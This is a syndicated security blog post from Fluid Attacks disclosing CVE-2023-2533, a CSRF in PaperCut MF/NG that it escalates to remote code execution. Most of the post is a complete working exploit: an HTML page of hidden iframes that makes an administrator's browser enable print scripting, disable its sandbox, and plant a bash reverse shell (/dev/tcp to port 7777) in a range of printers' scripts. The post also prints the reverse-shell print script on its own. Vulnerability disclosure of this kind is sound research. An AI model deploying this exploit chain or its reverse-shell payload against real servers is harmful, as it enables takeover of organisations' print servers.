RCE in PaperCut MF/NG via CSRF
Lately,
several critical-severity vulnerabilities have been reported in PaperCut,
a software widely used by companies to manage their network printers.
So, determined not to be left behind and,
of course,
brimming with curiosity,
I decided to venture into this software
to see what I could find.
After almost two weeks of research,
I managed to detect a CSRF
in the core of that application,
which,
after being cleverly exploited,
allowed me to reach a remote code execution (RCE).
Below,
I will explain in detail this security issue labeled as CVE-2023-2533.
Where is this vulnerability?
When I tried to perform a CSRF attack on the application,
I noticed that some requests had an Anti-CSRF token
and some did not.
However,
the backend was analyzing the origin header
to know whether a request was cross-origin or not.
This seemed impossible to hack.
However,
I came up with the idea to change the request from POST to GET,
and guess what…?
It worked.
We can now perform CSRF attacks on some application endpoints
(those that don’t have an Anti-CSRF token).
Analyzing the administrative interface
We already know
we can persuade users to perform malicious actions
from their sessions.
However,
in this case,
what malicious actions are we going to request from the victim,
and what permissions does the victim have?
A clear target is the instance administrator.
So,
I dedicated myself to analyzing in depth the functionalities available
to such a user.
Before starting the audit,
I had read a Horizon3 paper regarding CVE-2023-27350.
In it,
I found that they had achieved remote code execution
through print scripting.
So,
the latest version of PaperCut was v20.0.10,
in which some additional security measures were taken
regarding print scripting.
On the one hand,
the possibility of using print scripting and device scripting was disabled
by default:
print-and-device.script.enabled => N
On the other hand,
using a sandbox for print scripting and device scripting was enabled
by default.
The use of a sandbox makes it impossible to use Java classes in scripts
and does not allow us to execute server-side commands:
print.script.sandboxed => Y
device.script.sandboxed => Y
Fortunately,
the requests to change the system configuration
(to enable scripting and disable the sandbox)
and the request to upload the print script
did not have an Anti-CSRF token.
Therefore,
with the CSRF I had,
I was able to do all these requests without any problem.
Finally,
I needed to see how to execute commands through print scripts.
After a few minutes,
I discovered that the following script gave me a reverse shell:
function printJobHook(inputs, actions) {
with (new JavaImporter(java.lang)) {
var processBuilder = new ProcessBuilder("bash", "-c", "$@| bash -i >& /dev/tcp/localhost/7777 0>&1");
var process = processBuilder.start();
}
}
Talking about problems
While writing the exploit,
I noticed the requests to change the system configuration were a bit strange.
To better understand what I’m going to explain,
I’ll show you what the configuration editor looks like:
As you can see in the first image,
there’s a pagination on the right side
when the search field is empty.
But,
as shown in the second image,
the pagination disappears when the search field is not empty.
Developing a script to interact with a site
would typically be pretty straightforward.
Still,
the PaperCut web application uses dynamic form fields
based on the last request,
complicating the process somewhat.
The solution was to send a request
with an empty search field
to retrieve the pagination.
Then,
I had to send another request indicating the page I wanted to visit
and,
afterward,
the settings I desired to edit.
Exploit
The previous paragraph may be puzzling.
That’s why I wrote the exploit as clearly as possible
so that you can understand the solution when you read it.
Pwncut.html
<!DOCTYPE html>
<html>
<body>
<script>
//Reset the configuration editor search field
const resetSearchField = 'http://localhost:9191/app?service=direct%2F1%2FConfigEditor%2FquickFindForm&sp=S0&Form0=%24TextField%2CdoQuickFind%2Cclear&%24TextField=&doQuickFind=Continuar';
//Set Page 21
const setPage21 = 'http://localhost:9191/app?service=direct/1/ConfigEditor/table.tablePages.linkPage&sp=AConfigEditor%2Ftable.tableView&sp=21';
//Enable Print Script (print-and-device.script.enabled -> Y)
const enablePrintScript = 'http://localhost:9191/app?service=direct%2F1%2FConfigEditor%2F%24Form&sp=S1&Form1=%24TextField%240%2C%24Submit%2C%24Submit%240%2C%24TextField%240%240%2C%24Submit%241%2C%24Submit%240%240%2C%24TextField%240%241%2C%24Submit%242%2C%24Submit%240%241%2C%24TextField%240%242%2C%24Submit%243%2C%24Submit%240%242%2C%24TextField%240%243%2C%24Submit%244%2C%24Submit%240%243%2C%24TextField%240%244%2C%24Submit%245%2C%24Submit%240%244%2C%24TextField%240%245%2C%24Submit%246%2C%24Submit%240%245%2C%24TextField%240%246%2C%24Submit%247%2C%24Submit%240%246%2C%24TextField%240%247%2C%24Submit%248%2C%24Submit%240%247%2C%24TextField%240%248%2C%24Submit%249%2C%24Submit%240%248%2C%24MaskedTextField%2C%24Submit%2410%2C%24Submit%240%249%2C%24TextField%240%249%2C%24Submit%2411%2C%24Submit%240%2410%2C%24TextField%240%2410%2C%24Submit%2412%2C%24Submit%240%2411%2C%24TextField%240%2411%2C%24Submit%2413%2C%24Submit%240%2412%2C%24TextField%240%2412%2C%24Submit%2414%2C%24Submit%240%2413%2C%24TextField%240%2413%2C%24Submit%2415%2C%24Submit%240%2414%2C%24TextField%240%2414%2C%24Submit%2416%2C%24Submit%240%2415%2C%24TextField%240%2415%2C%24Submit%2417%2C%24Submit%240%2416%2C%24TextField%240%2416%2C%24Submit%2418%2C%24Submit%240%2417%2C%24TextField%240%2417%2C%24Submit%2419%2C%24Submit%240%2418%2C%24TextField%240%2418%2C%24Submit%2420%2C%24Submit%240%2419%2C%24TextField%240%2419%2C%24Submit%2421%2C%24Submit%240%2420%2C%24TextField%240%2420%2C%24Submit%2422%2C%24Submit%240%2421%2C%24TextField%240%2421%2C%24Submit%2423%2C%24Submit%240%2422&%24TextField%240=Failed+to+send+your+scanned+fax+document&%24TextField%240%240=Y&%24TextField%240%241=Your+scanned+document+is+too+big%3A%25files%25You+can+try+reducing+the+scanned+document+size+by+using+a+lower+resolution%2C+or+switching+color+mode+to+grayscale+or+black+and+white.+Alternatively%2C+you+can+try+splitting+your+job.If+you+need+to+send+a+larger+scanned+document%2C+please+contact+your+system+administrator.&%24TextField%240%242=Y&%24TextField%240%243=Y&%24TextField%240%244=Failed+to+send+your+scanned+document&%24TextField%240%245=300&%24TextField%240%246=N&%24TextField%240%247=N&%24TextField%240%248=NONE&%24MaskedTextField=&%24TextField%240%249=25&%24TextField%240%2410=DEFAULT&%24TextField%240%2411=&%24TextField%240%2412=&%24TextField%240%2413=Y&%24TextField%240%2414=N&%24TextField%240%2415=&%24TextField%240%2416=0&%24TextField%240%2417=N&%24TextField%240%2418=Y&%24Submit%2420=Actualizar&%24TextField%240%2419=30&%24TextField%240%2420=&%24TextField%240%2421=';
//Set Page 22
const setPage22 = 'http://localhost:9191/app?service=direct/1/ConfigEditor/table.tablePages.linkPage&sp=AConfigEditor%2Ftable.tableView&sp=22';
//Disable Print Script Sandbox (print.script.sandboxed -> N)
const disableSandbox = 'http://localhost:9191/app?service=direct%2F1%2FConfigEditor%2F%24Form&sp=S1&Form1=%24TextField%240%2C%24Submit%2C%24Submit%240%2C%24TextField%240%240%2C%24Submit%241%2C%24Submit%240%240%2C%24TextField%240%241%2C%24Submit%242%2C%24Submit%240%241%2C%24TextField%240%242%2C%24Submit%243%2C%24Submit%240%242%2C%24TextField%240%243%2C%24Submit%244%2C%24Submit%240%243%2C%24TextField%240%244%2C%24Submit%245%2C%24Submit%240%244%2C%24TextField%240%245%2C%24Submit%246%2C%24Submit%240%245%2C%24TextField%240%246%2C%24Submit%247%2C%24Submit%240%246%2C%24TextField%240%247%2C%24Submit%248%2C%24Submit%240%247%2C%24TextField%240%248%2C%24Submit%249%2C%24Submit%240%248%2C%24TextField%240%249%2C%24Submit%2410%2C%24Submit%240%249%2C%24TextField%240%2410%2C%24Submit%2411%2C%24Submit%240%2410%2C%24TextField%240%2411%2C%24Submit%2412%2C%24Submit%240%2411%2C%24TextField%240%2412%2C%24Submit%2413%2C%24Submit%240%2412%2C%24TextField%240%2413%2C%24Submit%2414%2C%24Submit%240%2413%2C%24TextField%240%2414%2C%24Submit%2415%2C%24Submit%240%2414%2C%24TextField%240%2415%2C%24Submit%2416%2C%24Submit%240%2415%2C%24TextField%240%2416%2C%24Submit%2417%2C%24Submit%240%2416%2C%24TextField%240%2417%2C%24Submit%2418%2C%24Submit%240%2417%2C%24TextField%240%2418%2C%24Submit%2419%2C%24Submit%240%2418%2C%24TextField%240%2419%2C%24Submit%2420%2C%24Submit%240%2419%2C%24TextField%240%2420%2C%24Submit%2421%2C%24Submit%240%2420%2C%24TextField%240%2421%2C%24Submit%2422%2C%24Submit%240%2421%2C%24TextField%240%2422%2C%24Submit%2423%2C%24Submit%240%2422%2C%24TextField%240%2423%2C%24Submit%2424%2C%24Submit%240%2423&%24TextField%240=DEFAULT&%24TextField%240%240=Y&%24TextField%240%241=DEFAULT&%24TextField%240%242=DEFAULT&%24TextField%240%243=Y&%24TextField%240%244=1440&%24TextField%240%245=&%24TextField%240%246=-1&%24TextField%240%247=40&%24TextField%240%248=20&%24TextField%240%249=2&%24TextField%240%2410=-1&%24TextField%240%2411=3.0&%24TextField%240%2412=DEFAULT&%24TextField%240%2413=DEFAULT&%24TextField%240%2414=-1&%24TextField%240%2415=N&%24Submit%2416=Actualizar&%24TextField%240%2416=0&%24TextField%240%2417=&%24TextField%240%2418=N&%24TextField%240%2419=1683262800000%2C0.0&%24TextField%240%2420=1683262800000%2C1&%24TextField%240%2421=1683262800000%2C1&%24TextField%240%2422=1683262800000%2C1&%24TextField%240%2423=1683262800000%2C1';
//Inject Shell in PaperCut MF/NG
var injectShell = 'http://localhost:9191/app?service=direct%2F1%2FPrinterDetails%2F%24PrinterDetailsScript.%24Form&sp=S0&Form0=printerId%2CenablePrintScript%2CscriptBody%2C%24Submit%2C%24Submit%240%2C%24Submit%241&printerId=PRINTERID&enablePrintScript=on&scriptBody=function+printJobHook%28inputs%2C+actions%29+%7B%0D%0A++with+%28new+JavaImporter%28java.lang%29%29+%7B%0D%0A++++var+processBuilder+%3D+new+ProcessBuilder%28%22bash%22%2C+%22-c%22%2C+%22%24%40%7C+bash+-i+%3E%26+%2Fdev%2Ftcp%2Flocalhost%2F7777+0%3E%261%22%29%3B%0D%0A++++var+process+%3D+processBuilder.start%28%29%3B%0D%0A++%7D%0D%0A%7D%0D%0A%0D%0A&%24Submit%241=Aplicar';
async function loadIframes() {
await loadIframe(resetSearchField);
await sleep(1000);
await loadIframe(setPage21);
await sleep(1000);
await loadIframe(enablePrintScript);
await sleep(1000);
await loadIframe(setPage22);
await sleep(1000);
await loadIframe(disableSandbox);
await sleep(1000);
for (let printer_id = 1002; printer_id <= 1024; printer_id++) {
//It is not necessary to prefix the letter "l" in the post application
injectShell = injectShell.replace("PRINTERID", printer_id)
await loadIframe(injectShell);
}
function loadIframe(url) {
return new Promise((resolve) => {
const iframe = document.createElement('iframe');
iframe.src = url;
iframe.style.display = 'none';
iframe.onload = () => {
resolve();
};
document.body.appendChild(iframe);
});
}
function sleep(ms) {
return new Promise((resolve) => setTimeout(resolve, ms));
}
}
loadIframes();
</script>
</body>
</html>
The previous exploit performs several CSRF attacks:
- Clears the configuration editor search field
- Moves the user to page 21
- Enables print script on the server
- Moves the user to page 22
- Disables the sandbox for print script
- Injects the reverse shell into the scripting section
of the first 22 printers on the network,
whether or not they exist.
This increases the chance that a user will print a document
to an infected printer
and thus trigger the reverse shell.
Organizations often have many printers on their network,
so reducing the possibility of a user printing a document
to an uninfected printer
is a good idea.
Since CSRF is GET-based,
several hidden iframes can be used
to perform all the necessary authenticated CSRF attacks
from the same HTML page.
This is great, isn’t it?
Exploitation
Given the above,
if an administrator visits a malicious page,
this will enable the print script
and disable the sandbox for the print script,
making it possible for an attacker to set up a script
that uses Java classes
to execute system commands.
Conclusion
A simple bug can trigger devastating consequences,
such as remote code execution on a server.
The case presented in this post is a clear example
of how a sufficiently creative exploit
can elevate the impact and criticality of a vulnerability:
a CSRF was turned into a 1-click RCE.
At Fluid Attacks,
we continuously search for security vulnerabilities in software.
You can secure your applications
by starting the 21-day free trial
of our automated security testing.
Upgrade at any time
to include assessments by our team of ethical hackers.
*** This is a Security Bloggers Network syndicated blog from Fluid Attacks RSS Feed authored by Carlos Bello. Read the original post at: https://fluidattacks.com/blog/rce-in-papercut-mf-ng-via-csrf/